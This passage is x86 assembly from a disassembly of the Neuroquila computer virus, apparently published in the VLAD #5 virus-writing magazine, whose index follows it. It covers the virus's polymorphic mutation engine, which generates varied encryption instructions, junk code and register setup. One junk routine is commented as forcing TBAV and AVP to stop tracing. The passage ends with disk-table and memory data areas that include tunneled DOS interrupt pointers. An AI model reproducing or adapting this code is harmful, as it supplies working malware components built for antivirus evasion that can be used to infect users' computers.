	mov     al,28h          ; SUB
	jmp     gen_direct_add_sub_encryption

;---------------------------------------;
; Generate ADC [],encr_val              ;
;---------------------------------------;
gen_direct_adc_encryption:
	mov     al,10h          ; ADC
gen_direct_adc_sbb_encryption:
	call    insert_addr_reg2
	xor     al,8
	jmp     @@335

;---------------------------------------;
; Generate SBB [],encr_val              ;
;---------------------------------------;
gen_direct_sbb_encryption:
	mov     al,18h          ; SBB
	jmp     gen_direct_adc_sbb_encryption


insert_encr_reg1:
	mov     si,[bx+ offset time - offset engine_data]
	and     si,3
	add     al,byte ptr [bx+si+ offset encr_reg1-1 - offset engine_data]  ;[bx+si+1ch]
	stosb
	ret

insert_addr_reg1:
	mov     si,dx
	and     si,3
	add     al,byte ptr [bx+si+ offset si_di_bx - offset engine_data]
	stosb
	ret

insert_addr_reg2:
	mov     si,dx
	and     si,3
	add     al,[bx+si + offset addr_regs - offset engine_data]
	stosb
	ret

;---------------------------------------;
; Generate XOR [  ],(cx/dx/bp)          ;
;---------------------------------------;
gen_xor_encryption:
	mov     al,31h
	stosb
	mov     [bx+ offset encr_opcode1 - offset engine_data],al
insert_encr_reg2:
	mov     al,0
	mov     si,[bx+ offset time - offset engine_data]
	and     si,3
	add     al,[bx+si+ offset encr_reg2-1 - offset engine_data]             ;[bx+si+1fh]
	jmp     insert_addr_reg2

;---------------------------------------;
; Generate ADD [  ],(cx/dx/bp)          ;
;---------------------------------------;

gen_add_encryption:
	mov     al,1            ; ADD
add_sub_encr:
	stosb
	xor     al,28h          ; ADD->SUB , SUB-> ADD for encryption
	mov     [bx+ offset encr_opcode1 - offset engine_data],al
	jmp     insert_encr_reg2

;---------------------------------------;
; Generate ADD [  ],(cx/dx/bp)          ;
;---------------------------------------;

gen_sub_encryption:
	mov     al,29h          ; SUB
	jmp     add_sub_encr

;---------------------------------------;
; Generate ADC [  ],(cx/dx/bp)          ;
;---------------------------------------;

gen_adc_encryption:
	mov     al,11h          ; ADC
adc_sbb_encr:
	stosb
	xor     al,8            ; ADC -> SBB, SBB -> ADC for encryption
	mov     [bx+ offset encr_opcode1 - offset engine_data],al
	jmp     insert_encr_reg2

;---------------------------------------;
; Generate SBB [  ],(cx/dx/bp)          ;
;---------------------------------------;

gen_sbb_encryption:
	mov     al,19h          ; SBB
	jmp     adc_sbb_encr

;---------------------------------------;
; Generate NOT word ptr [  ]            ;
;---------------------------------------;
gen_not_encryption:
	mov     ax,15F7h                ; NOT WORD PTR [DI]
	stosb
	mov     [bx+ offset encr_opcode1 - offset engine_data],ax
	mov     al,10h                  ; NOT WORD PTR [?]
	jmp     insert_addr_reg2

;---------------------------------------;
; Generate NEG word ptr [  ]            ;
;---------------------------------------;
gen_neg_encryption:
	mov     ax,1DF7h                ; NEG WORD PTR [DI]
	stosb
	mov     [bx+ offset encr_opcode1 - offset engine_data],ax
	mov     al,18h                  ; NEG WORD PTR [?]
	jmp     insert_addr_reg2

;---------------------------------------;
; Generate ROL/ROR word ptr [  ],1      ;
;---------------------------------------;
gen_rol_ror_encryption:
	mov     al,0D1h                 ; ROL
	stosb
	mov     [bx+ offset encr_opcode1 - offset engine_data],al
	mov     al,0
	test    bp,1
	jz      gen_rol_encryption
	xor     al,8                    ; ROR
gen_rol_encryption:
	call    insert_addr_reg2
	and     al,8
	or      al,5                    ; use [DI] for encryption
	xor     al,8                    ; ROL <-> ROR for encryption
	mov     [bx+ offset encr_opcode2 - offset engine_data],al
	ret

;=======================================================================;
; Functions for increasing the address by 2                             ;
;=======================================================================;

;---------------------------------------;
; Generate 2x INC addr_reg              ;
;---------------------------------------;
gen_two_inc_addr:
	test    cl,5
	jz      gen_alt_two_inc_addr
	mov     al,40h
	call    insert_addr_reg1
	push    ax
	mov     al,0fh
	call    gen_limit_junk
	pop     ax
	stosb
	ret
gen_alt_two_inc_addr:
	mov     al,0FFh
	stosb
	mov     al,0C0h
	call    insert_addr_reg1
	mov     ax,word ptr es:[di-2]
	stosw
	ret     

;---------------------------------------;
; Generate ADD addr_reg,word/byte ptr 2 ;
;---------------------------------------;
gen_add_addr:
	mov     ah,0C0h
	call    gen_word_byte_prefix
prepare_word_byte_choose:
	mov     al,2
	jmp     word_byte_choose

;-----------------------------------------;
; Generate SUB addr_reg,word/byte ptr -2  ;
;-----------------------------------------;
gen_sub_addr:
	mov     ah,0E8h
	call    gen_word_byte_prefix
	mov     al,0FEh
word_byte_choose:
	test    dh,3
	jz      put_opcode_byte
	cbw
	stosw
	ret     

;---------------------------------------;
; Generate ADD/SUB addr_reg,?           ;
;---------------------------------------;
gen_word_byte_prefix:
	mov     al,83h
	test    dh,3
	jz      gen_byte_prefix
	xor     al,2
gen_byte_prefix:
	stosb
	mov     al,ah
	jmp     insert_addr_reg1

;-----------------------------------------------;
; Generate LEA addr_reg,[addr_reg+ byte/word 2] ;
;-----------------------------------------------;
gen_lea_addr:
	mov     al,8Dh
	stosb
	mov     si,dx
	and     si,3
	mov     al,[bx+si+ offset @@393 - offset engine_data]
	test    dh,3
	jz      @@347
	add     al,40h
@@347:
	stosb
	jmp     prepare_word_byte_choose

;=======================================================================;
; The functions for the address-compare                                 ;
;=======================================================================;

;---------------------------------------;
; Generate CMP (si/di/dx),data16        ;
;---------------------------------------;
gen_direct_addr_cmp:
	mov     al,81h
	stosb
	mov     al,0F8h         ; CMP reg16,
	call    insert_addr_reg1                ; choose reg

save_cmp_adr:
	mov     [bx+ offset cmp_addr_pos - offset engine_data],di       ; [bx+11h]
	stosw
	ret

;---------------------------------------;
; Generate SUB ax,(si/di/dx) ; CMC      ;
;---------------------------------------;
gen_sub_addr_cmp:
	mov     al,0B8h         ; MOV AX,
	stosb
	call    save_cmp_adr    ; save position and keep 2 bytes free
	mov     al,2Bh          ; SUB
	stosb
insert_addr_reg3:
	mov     al,0C0h
	call    insert_addr_reg1                ; insert reg from si_di_bx
	mov     al,0F5h         ; CMC
put_opcode_byte:
	stosb
	ret

;---------------------------------------;
; Generate NEG ax; ADD ax,(si/di/dx)    ;
;---------------------------------------;
gen_negadd_addr_cmp:
	mov     al,0B8h         ; MOV AX,
	stosb
	call    save_cmp_adr    ; Save position and keep 2 byte free
	mov     ax,0D8F7h       ; NEG AX
	stosw
	mov     al,3            ; ADD AX,
	stosb
	jmp     insert_addr_reg3

;-----------------------------------------------;
; Generate                                      ;
; ( MOV AX,SI / LEA AX,[SI] / PUSH SI; POP AX ) ;
; ; CMP AX,value16                              ;
;-----------------------------------------------;
gen_si_to_ax_addr_cmp:
	mov     ax,dx
	and     al,3
	jnz     gen_direct_addr_cmp             ; if not si
	mov     si,[bx+offset int21_counter - offset engine_data]  ;[bx+9]
	and     si,3
	shl     si,1
	add     si,offset si_to_ax
	movsw           ; any of the methods to put value of SI into AX
	mov     al,3Dh
	stosb                   ; cmp   ax,value16
	jmp     save_cmp_adr    ; save position

;=======================================================================;
; The functions for the address-init                                    ;
;=======================================================================;

;---------------------------------------;
; Generate MOV reg16,value16            ;
;---------------------------------------;
set_reg1:
	mov     al,0B8h                 ; MOV reg16,value16
insert_mov_reg16:
	add     al,[bp+2]               ; reg16
insert_mov_value16:
	stosb                           ; store 2nd byte of opcode
	mov     ax,[bp+4]               ; value16
	stosw                           ; store it
	ret

;---------------------------------------;
; Generate MOV reg16,value16            ;
;---------------------------------------;
set_reg2:
	mov     al,0C7h
	stosb
	mov     al,0C0h
	jmp     insert_mov_reg16

;----------------------------------------;
; Generate LEA reg16,["word ptr [bp+4]"] ;
; reg16 - [bp+6]                         ;
;----------------------------------------;
set_reg3:
	mov     al,8Dh                  ; LEA
	stosb
	mov     al,[bp+2]               ; reg16
	cbw
	shl     ax,3
	add     al,6                    ; LEA ..,[address]
	jmp     insert_mov_value16      ; store second byte of opcode
					; and the address from [bp+4]

;---------------------------------------;
; Generate Register-Init                ;
; Input:                                ;
;  byte ptr [bp+2]                      ;
; [     0       AL,AH                ]  ;
;       1       CL,CH                   ;
;       2       DL,DH                   ;
;       3       BL,BH                   ;
; [     4       not suitable         ]  ;
;       5       PUSH value16; POP BP    ;
;       6       PUSH value16; POP SI    ;
;       7       PUSH value16; POP DI    ;
; bit 1 of DI                           ;
;   decides which of the 8 bit regs is  ;
;   installed first ([bp+2]=0..3)       ;
;   1 = higher one first                ;
; [] here means never called with this  ;
;    value                              ;
; 1,2,5 used for encryption value       ;
; 3,4,7 used for address value          ;
;---------------------------------------;
set_reg4:
	cmp     byte ptr [bp+2],4
	ja      push_pop_reg_set                ; only for BP,SI and DI
	mov     al,0B0h         ; MOV reg8,"byte ptr [bp+4]" (al,cl,dl,bl)
	mov     ah,[bp+4]       ; lower byte of 16bit value
	add     al,[bp+2]
	xchg    si,ax
	mov     al,0B4h         ; MOV reg8,"byte ptr [bp+4]" (ah,ch,dh,bh) 
	mov     ah,[bp+5]       ; higher byte of 16bit value
	add     al,[bp+2]
	test    di,1            ; Bit 1 of DI setted = init higher byte
	jnz     higher_byte_first
	xchg    si,ax
higher_byte_first:
	stosw
	xchg    si,ax
	stosw                   ; put the opcode
	ret

push_pop_reg_set:
	; Generate
	; 1. PUSH "word ptr [bp+4]"
	; 2. POP "reg16 = byte ptr [bp+2]"
	mov     al,68h          ; PUSH value16
	stosb
	mov     ax,[bp+4]       ; value16
	stosw
	mov     al,58h          ; POP reg16
	add     al,[bp+2]       ; reg16
	stosb
	ret

;==========================================================================
; Functions for junk-instructions
;==========================================================================

genjunk_9:
	; Generate only junk that does not change used flags
	mov     al,9
gen_limit_junk:
	; called with al=0fh means all junk codes possible
	cbw
	xchg    si,ax
test_junk_limit:
	call    random
	and     ax,0fh
	cmp     ax,si
	ja      test_junk_limit
	shl     ax,1
	xchg    si,ax
	jmp     word ptr [bx+si+ offset junk_table - offset engine_data]

random:
	push    bx
	push    ds
	push    cs
	pop     ds
;       mov     bx,0497h
	db      0BBh
rand_seed       dw      0497h
	mov     ax,[bx]
	pop     ds
assume  ds:nothing
	inc     bx
	add     bx,di
	and     bh,1fh
	mov     rand_seed,bx
	pop     bx
	ret
	; 10E9

;---------------------------------------;
; Generate CLD                          ;
;---------------------------------------;
junk_1:
	mov     al,0FCh
	stosb
;---------------------------------------;
; Generate nothing                      ;
;---------------------------------------;
junk_0:
	ret

;---------------------------------------;
; Generate STD                          ;
;---------------------------------------;
junk_3:
	mov     al,0FDh
	stosb
	ret

;---------------------------------------;
; Generate NOP                          ;
;---------------------------------------;
junk_a:
	mov     al,90h
	stosb
	ret

;---------------------------------------;
; Generate CLI                          ;
;---------------------------------------;
junk_5:
	mov     al,0FAh
	stosb
	ret

;---------------------------------------;
; Generate STI                          ;
;---------------------------------------;
junk_6:
	mov     al,0FBh
	stosb
	ret

	; never used !!!
	ret             ; maybe thought for junk_0

;---------------------------------------;
; Generate CBW                          ;
;---------------------------------------;
junk_b:
	mov     al,98h
	stosb
	ret

;---------------------------------------;
; Generate CLC; JNC $+3; JMP xxxx:xxxx  ;
; x is code again                       ;
; it's like JUMP-virus :-)              ;
;---------------------------------------;
junk_f:
	mov     ax,73F8h
	stosw
	mov     ax,0EA01h
	stosw
	ret

;---------------------------------------;
; Generate MOV AL,random8               ;
;---------------------------------------;
junk_7:
	mov     al,0B0h

put_random_byte_operation:
	stosb
	call    random
	stosb
	ret

;---------------------------------------;
; Generate MOV AH,random8               ;
;---------------------------------------;
junk_4:
	mov     al,0B4h
	jmp     put_random_byte_operation

;---------------------------------------;
; Generate MOV AX,random_reg16          ;
;---------------------------------------;
junk_8:
	mov     al,8Bh
	stosb
	call    random
	and     al,7
	add     al,0C0h
	stosb
	ret

;---------------------------------------;
; Generate MOV AX,random16              ;
;---------------------------------------;
junk_9:
	mov     al,0B8h

put_junk_byte:
	stosb
put_random_word:
	call    random
	stosw
	ret

;---------------------------------------;
; Generate MOV AH,4Dh; INT 21h          ;
; Call DOS-Function 'Get Exit-Code'     ;
; This forces TBAV and earlier versions ;
; of AVP to stop tracing                ;
;---------------------------------------;
junk_e:
	mov     ax,4DB4h
	stosw
	mov     ax,21CDh
	stosw
	ret

;---------------------------------------;
; Generate LEA AX,[random16]            ;
;---------------------------------------;
junk_2:
	mov     ax,068Dh
	stosw
	jmp     put_random_word

;---------------------------------------;
; Generate AND AX,random16              ;
;---------------------------------------;
junk_c:
	mov     al,25h
	jmp     put_junk_byte
	
;---------------------------------------;
; Generate OR AX,random16               ;
;---------------------------------------;
junk_d:
	mov     al,0Dh
	jmp     put_junk_byte

;===========================================================================
; Functions for register initialisation
;===========================================================================

init_ds:
	call    genjunk_9
	mov     si,[bx+offset int21_counter - offset engine_data] ;[bx+9]
	and     si,3
	shl     si,1
	jmp     word ptr [bx+si+offset cs_to_ds - offset engine_data]   ; [bx+si-8]

;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
; Sub-functions for init_ds

init_ds1:
	mov     ax,0C88Ch               ; MOV AX,CS
	stosw
	mov     ax,0D88Eh               ; MOV DS,AX
	stosw
	ret

init_ds2:
	mov     al,0eh                  ; PUSH CS
	stosb
	call    genjunk_9
	mov     al,1fh                  ; POP DS
	stosb
init_ds3:
	ret

;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

init_encr_val:
	mov     al,cl
	and     al,7
	cmp     al,4
	ja      ret2
	test    byte ptr [bx+ offset time - offset engine_data],3
	jz      ret2
	call    genjunk_9
	; set encryption value in virus-body also
	mov     ax,[bx+ offset encr_val1 - offset engine_data]
	mov     [bx+ offset encr_val2 - offset engine_data],ax
	; save encryption value to stack
	push    ax              ; [bp+4] value16
	; get register for encr_value from time
	mov     si,[bx+ offset time - offset engine_data]
	and     si,3
	mov     al,byte ptr [bx+si+offset encr_reg1-1 - offset engine_data]
	;
	mov     si,[bx+ offset time - offset engine_data]

gen_set_reg:
	; AX == reg to set
	cbw
	push    ax              ; [bp+2] reg16
;       db      0C1h,0EEh,03h
	shr     si,3
	and     si,3
	push    bp
	mov     bp,sp
	shl     si,1
	call    word ptr [bx+si+ offset set_reg_table - offset engine_data]     ;[bx+si-20h]
	pop     bp
	pop     ax
	pop     ax
	ret

; Bits 0..2 of DX == reg to use for addr
init_addr:
	call    genjunk_9
	mov     [bx+ offset init_addr_pos - offset engine_data],di
					; save position
;       push    0FEh            ; [bp+4] value16
	db      6Ah,0FEh
	; load register value for SI,DI or BX
	mov     si,dx
	and     si,3
	mov     al,[bx+si+ offset si_di_bx - offset engine_data]
	mov     si,dx
	jmp     gen_set_reg

;===========================================================================
; call-table functions for address-increase and encryption-value-modifier
;===========================================================================

gen_addr_inc:
	mov     al,0fh
	call    gen_limit_junk
	mov     si,[bx+ offset time - offset engine_data + 1]
	and     si,3
	shl     si,1
	call    word ptr [bx+si+ offset addr_increase_table - offset engine_data]
ret2:   ret

gen_modifier:
	mov     al,cl
	and     al,7
	cmp     al,4
	ja      ret2
	mov     al,ch
	and     ax,3
	shl     ax,1
	xchg    si,ax
	jz      ret2
	test    byte ptr [bx+ offset time - offset engine_data],3
	jz      ret2
	push    si
	mov     al,0fh
	call    gen_limit_junk
	pop     si
	mov     al,81h
	stosb
	jmp     word ptr [bx+si+ offset modifier_table - offset engine_data]


;---------------------------------------------------------------------------------------;
; End of the Mutation-Engine of Neuroquila                                                      ;
;---------------------------------------------------------------------------------------;

	; this table to the disk-tables never used
	dw      offset disk_525
	dw      offset disk_35

	; Tables of drive characteristics for enabling the extra-track
disk_525        db  0DFh, 02h, 25h, 02h, 0Fh, 1Bh, 0FFh, 54h, 0F6h, 0Fh, 08h
disk_35         db  0DFh, 02h, 25h, 02h, 12h, 1Bh, 0FFh, 6Ch, 0F6h, 0Fh, 08h
		db  0

my_size:

;---------------------------------------------------------------------------------------;
; The external data area                                                                ;
;---------------------------------------------------------------------------------------;

org     1204h
vir_dta         db      3fh dup (?)
head_buff       db      1eh dup (?)
l_org_fsize     dw      ?
h_org_fsize     dw      ?
head_encr_val   dw      ?
disk_table      db      4*10 dup (?)
disk_buff       db      200h dup (?)
tunneled_ofs    dw      ?
tunneled_seg    dw      ?
tun21_ofs       dw      ?
tun21_seg       dw      ?
xms_addr        dd      ?
filename        db      41h dup (?)

memory_top:

code2      ends

	end     start
- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

ARTICLE.5_1      

Alive
ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main